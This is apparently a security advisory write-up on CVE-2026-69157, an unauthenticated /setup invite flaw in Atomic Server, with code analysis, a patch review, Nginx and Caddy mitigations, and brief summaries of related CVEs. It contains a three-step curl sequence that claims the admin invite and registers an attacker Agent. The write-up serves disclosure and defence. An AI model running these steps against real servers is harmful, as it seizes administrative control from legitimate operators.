Nov 19, 2026·10 min read·1 visit
Atomic Server versions 0.29.0 through 0.40.2 expose an unauthenticated /setup bootstrap endpoint that issues a single-use administrative invite with full Drive write privileges. Any unauthenticated attacker with network access to a fresh, unclaimed deployment can claim the invite, register an attacker-controlled Agent, and gain complete administrative control over all data and permissions.
CVE-2026-69157 (GHSA-pfwx-xjp4-qxcj) is a critical missing authentication vulnerability (CWE-306) affecting Atomic Server versions 0.29.0 through 0.40.2. During initial deployment, the server exposes an unauthenticated /setup endpoint that generates an invite token granting root write permissions across the entire Drive. Because the invite redemption handler discards the redeemer identity, an unauthenticated remote attacker can intercept or request this setup invite on an unclaimed instance, register an arbitrary Agent public key, and assume full administrative control over the database.
Atomic Server (atomic-server) is an open-source headless Content Management System (CMS) and real-time graph database written in Rust. It organizes data as resources linked to subjects, using cryptographic keypairs associated with entities called Agents to enforce read and write access controls across a hierarchical storage root known as a Drive.
To simplify initial administration on new installations, Atomic Server provides a bootstrap workflow located at the /setup HTTP endpoint. In versions 0.29.0 through 0.40.2, this initialization routine suffers from Missing Authentication for Critical Functionality (CWE-306). When a server instance starts up without an established administrator, it automatically provisions a well-known setup invite targeting the root Drive with full write rights (DriveRights::All) and usagesLeft initialized to 1.
The /setup endpoint does not verify a pre-shared deployment token, enforce local loopback (127.0.0.1) network restrictions, or validate the caller's identity before returning the bootstrap invite URL. Furthermore, the invite processing function construct_invite_redirect in server/src/plugins/invite.rs discards the redeemer's identity and accepts any caller-supplied public key or Agent registration payload.
Consequently, any unauthenticated actor capable of reaching an unclaimed Atomic Server instance over the network can request the setup invite, register a high-privilege Agent account, and achieve complete administrative control over the server.
The vulnerability originates from an architectural design flaw in how Atomic Server bootstraps trust during initial deployment, compounded by two implementation defects in the invite redemption logic within server/src/plugins/invite.rs. The primary failure occurs in the /setup route handler (server/src/routes/setup.rs), which executes state.store.create_invite(DriveRights::All) or retrieves the existing bootstrap invite without verifying who is making the HTTP request.
When an invite is redeemed via construct_invite_redirect, the server evaluates the invite resource properties (urls::USAGES_LEFT, urls::EXPIRES_AT, urls::WRITE, and urls::TARGET). During this step, the handler does not bind the invite to a specific pre-authorized user identity. Instead, it extracts the public key or Agent subject provided in the request parameters and directly appends that Agent to the write-authorized list of the target resource—which, for the /setup invite, is the root Drive (/).
In addition to the missing authentication on /setup, analysis of the invite handler prior to commit 98517d8921c78bd9b728a2459378c184ebf8a969 reveals two secondary flaws in construct_invite_redirect:
usagesLeft counter was read from the store, checked for a positive value, decremented by 1, and written back to the database asynchronously without mutual exclusion. Because the underlying key-value store lacked an atomic check-and-decrement operation on resource properties, concurrent requests arriving simultaneously could all observe usagesLeft == 1 and successfully register multiple rogue administrative Agents from a single-use invite.urls::EXPIRES_AT timestamp on an invite, the server evaluated if expires.to_int()? > atomic_lib::utils::now() and returned an error if true. Because a valid future expiration timestamp is numerically greater than the current Unix timestamp, this inverted comparison caused unexpired invites with an explicit expiration date to be rejected while permitting expired invites to be redeemed.> [!NOTE]
> While the race condition and inverted expiration check impacted the reliability and concurrency safety of the invite subsystem, the core security exposure (CVE-2026-69157) stems directly from exposing the unauthenticated /setup capability to untrusted networks without an out-of-band verification requirement.
In vulnerable releases of Atomic Server, the /setup endpoint handler processes incoming GET requests by generating or returning an administrative invite subject directly to the caller:
// server/src/routes/setup.rs
pub async fn get_setup(state: web::Data<AppState>) -> impl Responder {
// Vulnerability (CWE-306): No authentication, loopback restriction, or CLI token verification
let invite = state.store.create_invite(DriveRights::All).unwrap();
HttpResponse::Ok().json(json!({
"invite": invite.subject,
}))
}When the invite is redeemed, execution passes to construct_invite_redirect in server/src/plugins/invite.rs. In commit 98517d8921c78bd9b728a2459378c184ebf8a969, the maintainers modified server/Cargo.toml to enable the sync feature on tokio and patched server/src/plugins/invite.rs to address the TOCTOU race condition and the inverted expiration check:
// server/src/plugins/invite.rs (Patched in 98517d8921c78bd9b728a2459378c184ebf8a969)
use std::sync::LazyLock;
use tokio::sync::Mutex;
// Process-wide mutex added to serialize the read-decide-write cycle on usagesLeft
static INVITE_REDEEM_LOCK: LazyLock<Mutex<()>> = LazyLock::new(|| Mutex::new(()));
pub fn construct_invite_redirect<'a>(
context: &'a mut CommitContext,
) -> Pin<Box<dyn Future<Output = AtomicResult<Resource>> + Send + 'a>> {
Box::pin(async move {
// ... [target resolution logic] ...
// FIX 1: Check expiry before consuming a usage, and flip '>' to '<'
// Previously: if expires.to_int()? > atomic_lib::utils::now() (inverted check)
if let Ok(expires) = db_resource.get(urls::EXPIRES_AT) {
if expires.to_int()? < atomic_lib::utils::now() {
return Err("Invite has expired".into());
}
}
// FIX 2: Acquire asynchronous lock across the usagesLeft check and decrement
let _redeem_guard = INVITE_REDEEM_LOCK.lock().await;
if let Ok(usages_left) = db_resource.get(urls::USAGES_LEFT) {
let num = usages_left.to_int()?;
if num == 0 {
return Err("No usages left for this invite".into());
}
db_resource.set_propval(
urls::USAGES_LEFT.into(),
Value::Integer(num - 1),
store,
)?;
db_resource
.save_locally(store)
.await
.map_err(|e| format!("Unable to save updated Invite. {}", e))?;
}
// ... [proceeds to grant Agent rights on target] ...Commit 98517d8921c78bd9b728a2459378c184ebf8a969 strictly resolves the concurrency race condition via INVITE_REDEEM_LOCK and fixes the timestamp comparison operator (< instead of >). However, this patch is incomplete with respect to the primary vulnerability (CVE-2026-69157).
Even with INVITE_REDEEM_LOCK active, /setup remains unauthenticated on a freshly initialized server where usagesLeft equals 1. An attacker who queries /setup before the legitimate administrator claims the server still wins the initial redemption, decrements usagesLeft to 0 under the lock, and locks out the actual deployment owner. A complete remediation requires gating /setup behind a local-only transport restriction or requiring a cryptographic bootstrap token printed exclusively to the server's standard output console upon first boot.
Exploiting CVE-2026-69157 requires no prior authentication, user interaction, or complex payload crafting. The sole prerequisite is network connectivity to an atomic-server deployment in its initial, unclaimed state (where the bootstrap invite still has usagesLeft > 0). Automated internet scanners or adversaries monitoring newly provisioned cloud infrastructure and DNS records can exploit the window between container startup and manual administrator configuration.
The attack methodology proceeds in three distinct steps:
GET request to /setup with an Accept: application/json header. If the server is unclaimed, it responds with HTTP 200 OK and a JSON payload containing the full invite URL and token (e.g., https://<target>/invite/<TOKEN>). Alternatively, if HTML is returned, the invite URL can be parsed directly from the response body.<TOKEN> identifier from the invite URL and submits an HTTP POST request to /setup?invite=<TOKEN>. The request body specifies the attacker's chosen Agent details (or public key) along with the invite token.usagesLeft to 0, and returns a valid JSON Web Token (JWT) or session credential.# 1. Request the unauthenticated bootstrap invite
curl -sk -H "Accept: application/json" https://target.example.com/setup
# Expected Output: {"invite": "https://target.example.com/invite/aBcDeFg12345"}
# 2. Redeem the invite to provision an administrative Agent
curl -sk -X POST "https://target.example.com/setup?invite=aBcDeFg12345" \
-H "Content-Type: application/json" \
-d '{"name": "admin_agent", "password": "AttackerPass2026!", "invite": "aBcDeFg12345"}'
# 3. Query all stored subjects using the issued JWT to confirm root access
curl -sk -H "Authorization: Bearer <ISSUED_JWT>" https://target.example.com/all-subjectsA public Proof-of-Concept (PoC) exploit tool (LLCForge/CVE-2026-69157) automates this exact workflow. The PoC script fingerprints target endpoints via /version and HTTP response headers (Server or X-Powered-By), parses the /setup response via JSON deserialization or regular expression fallback (r'(https?://[^\s"\'<]+/invite/[A-Za-z0-9_=-]+)'), registers an arbitrary Agent, and verifies administrative takeover by querying /all-subjects.
CVE-2026-69157 carries a CVSS v3.1 base score of 9.8 (CRITICAL) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. The exploitability subscore is 3.9 and the impact subscore is 5.9, reflecting that the flaw is remotely exploitable over the network (AV:N) with low attack complexity (AC:L), zero privileges required (PR:N), and no user interaction (UI:N).
Successful exploitation grants the attacker DriveRights::All on the root Drive resource (/). Because Atomic Server uses hierarchical permission inheritance starting from the Drive root, write access at the root level confers unrestricted control over the entire application instance:
C:H): The attacker can enumerate and exfiltrate all subjects, private resources, documents, and configuration metadata stored in the graph database via endpoints such as /all-subjects.I:H): The attacker can modify arbitrary graph nodes, inject malicious content into headless CMS consumers, alter access control lists (ACLs), and create additional persistent backdoor Agent accounts.A:H): Because the bootstrap invite has usagesLeft set to 1, the attacker's redemption consumes the only setup slot, denying administrative access to the legitimate server operator. The attacker can also delete all resources in the Drive.As of current threat intelligence tracking, the Exploit Prediction Scoring System (EPSS) assigns CVE-2026-69157 a score of 0.00512 (0.51%, 44.33th percentile), and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the availability of a turnkey mass-scanning PoC significantly lowers the barrier to opportunistic exploitation against newly deployed instances.
Because no verified upstream version completely eliminates the unauthenticated /setup design pattern as of version 0.40.2, operators must combine code updates with strict deployment and network access controls to secure Atomic Server instances.
Ensure that deployments include commit 98517d8921c78bd9b728a2459378c184ebf8a969 so that single-use invites cannot be concurrently redeemed via the TOCTOU race condition and invite expiration timestamps are enforced properly.
Never bind an uninitialized atomic-server instance directly to a public network interface (0.0.0.0) before claiming the administrative account. Bind the daemon to 127.0.0.1 during initial provisioning, complete the /setup workflow locally (or over an SSH tunnel) to decrement usagesLeft to 0, and only then expose the service to external traffic.
Block external access to the /setup endpoint permanently at the reverse proxy or Web Application Firewall (WAF) layer. Even after initial setup is completed, external clients have no legitimate reason to query /setup.
For Nginx deployments, restrict /setup to the loopback interface:
location ^~ /setup {
allow 127.0.0.1;
allow ::1;
deny all;
proxy_pass http://127.0.0.1:9883;
}For Caddy deployments, return an HTTP 403 Forbidden response for non-local requests targeting /setup:
@external_setup {
path /setup*
not remote_ip 127.0.0.1 ::1
}
respond @external_setup 403Administrators operating versions 0.29.0 through 0.40.2 should audit the root Drive's write property and commit history to verify that only authorized Agent subjects hold administrative permissions, and inspect HTTP access logs for unexpected GET /setup or POST /setup requests originating from external IP addresses.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
atomic-server ontola | >= 0.29.0, <= 0.40.2 | None (Partial fix in commit 98517d8921c78bd9b728a2459378c184ebf8a969) |
| Attribute | Detail |
|---|---|
| Vulnerability Type | CWE-306: Missing Authentication for Critical Functionality |
| Affected Versions | atomic-server 0.29.0 through 0.40.2 |
| Attack Vector | Network (Unauthenticated HTTP GET/POST to /setup) |
| CVSS v3.1 Score | 9.8 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| EPSS Score | 0.51% (44.33th Percentile) |
| Impact | Full Administrative Takeover (DriveRights::All on Root Drive) |
| Exploit Status | Public Proof-of-Concept Available |
| CISA KEV Status | Not Listed |
The software does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
CVE-2026-69158 is a high-severity Server-Side Request Forgery (SSRF) vulnerability in Ontola Atomic Server (atomic-server) and its underlying Rust library (atomic_lib). Prior to versions 0.40.2 and 0.40.3, the server exposed an unauthenticated HTTP GET endpoint at /bookmark (and handled user-supplied URLs via POST to /import) that fetched arbitrary caller-supplied URLs after performing only a naive string prefix check. Because endpoint routing bypassed read authorization checks and reflected the retrieved content back to the client, unauthenticated remote attackers can force the server to issue HTTP GET requests to internal network destinations, localhost services, and cloud instance metadata endpoints.
CVE-2026-71425 (GHSA-7jvc-9xq8-frff) is a Server-Side Request Forgery (SSRF) and credential exposure vulnerability in Outstatic, an open-source Next.js-based static site Content Management System (CMS). In versions prior to 2.2.1, the authenticated GitHub REST proxy (/api/outstatic/github) constructed upstream URLs via insecure string concatenation of an unvalidated endpoint parameter and merged arbitrary user-supplied HTTP headers directly into outbound requests. Because the proxy automatically attaches the active user's GitHub OAuth access token to these requests, an authenticated caller or an attacker leveraging a cross-origin request primitive can redirect the server's outbound request to an arbitrary external host and exfiltrate the OAuth bearer token.
CVE-2026-71861 (GHSA-wq26-3j2m-4hvv) is a high-severity authentication bypass and cryptographic signature-binding replay vulnerability in the Chainguard Go SDK (chainguard.dev/sdk / github.com/chainguard-dev/sdk) affecting versions prior to v0.1.107. The vulnerability resides in the auth/aws.VerifyToken function, which validates AWS STS GetCallerIdentity requests signed with AWS Signature Version 4 (SigV4) to authenticate AWS workloads. Prior to version v0.1.107, VerifyToken verified the values of custom HTTP binding headers (Chainguard-Audience and Chainguard-Identity) without confirming that those headers were listed in the SigV4 SignedHeaders parameter of the Authorization header. Because AWS STS ignores unsigned headers when recomputing and verifying the SigV4 signature, an attacker who captures any valid, fresh SigV4-signed STS GetCallerIdentity request from a victim AWS principal can inject or overwrite the Chainguard-Audience and Chainguard-Identity headers and replay the token to bypass authentication and impersonate the victim identity.
CVE-2026-73864 is a CWE-494 (Download of Code Without Integrity Check) vulnerability in the Node.js package install-artifact-from-github prior to version 1.7.0. The tool downloads precompiled native Node.js C/C++ addons (.node binaries) from GitHub Releases or configurable mirrors and writes them directly to disk without verifying cryptographic checksums or signatures. Furthermore, its HTTP client follows cross-protocol redirects from HTTPS to plaintext HTTP. When the consuming application loads the downloaded addon via require(), the unverified native binary executes immediately within the Node.js process, permitting arbitrary native code execution if an attacker compromises a GitHub release asset, poisons a configured mirror, or intercepts downgraded network traffic.
LLMKube prior to version 0.9.0 fails to restrict local filesystem paths and file:// URIs supplied in the Model.spec.source field of custom resources. A namespace-level user with permission to create or modify Model and InferenceService resources can traverse the filesystem of the operator controller pod or mount arbitrary host node files via a HostPathVolumeSource. This enables unauthorized disclosure of high-privilege Kubernetes ServiceAccount tokens and underlying host credentials.
CVE-2026-75521 is an unauthenticated remote authentication bypass vulnerability in Miren Runtime prior to version 0.11.1. The QUIC/HTTP3 RPC service configures its TLS listener with tls.RequestClientCert, which requests client certificates without validating them against the cluster Certificate Authority. Simultaneously, the RPC authenticators extract caller identities directly from PeerCertificates[0] without checking VerifiedChains, granting any caller presenting a self-signed certificate the AuthMethodCert identity and a complete Role-Based Access Control (RBAC) bypass.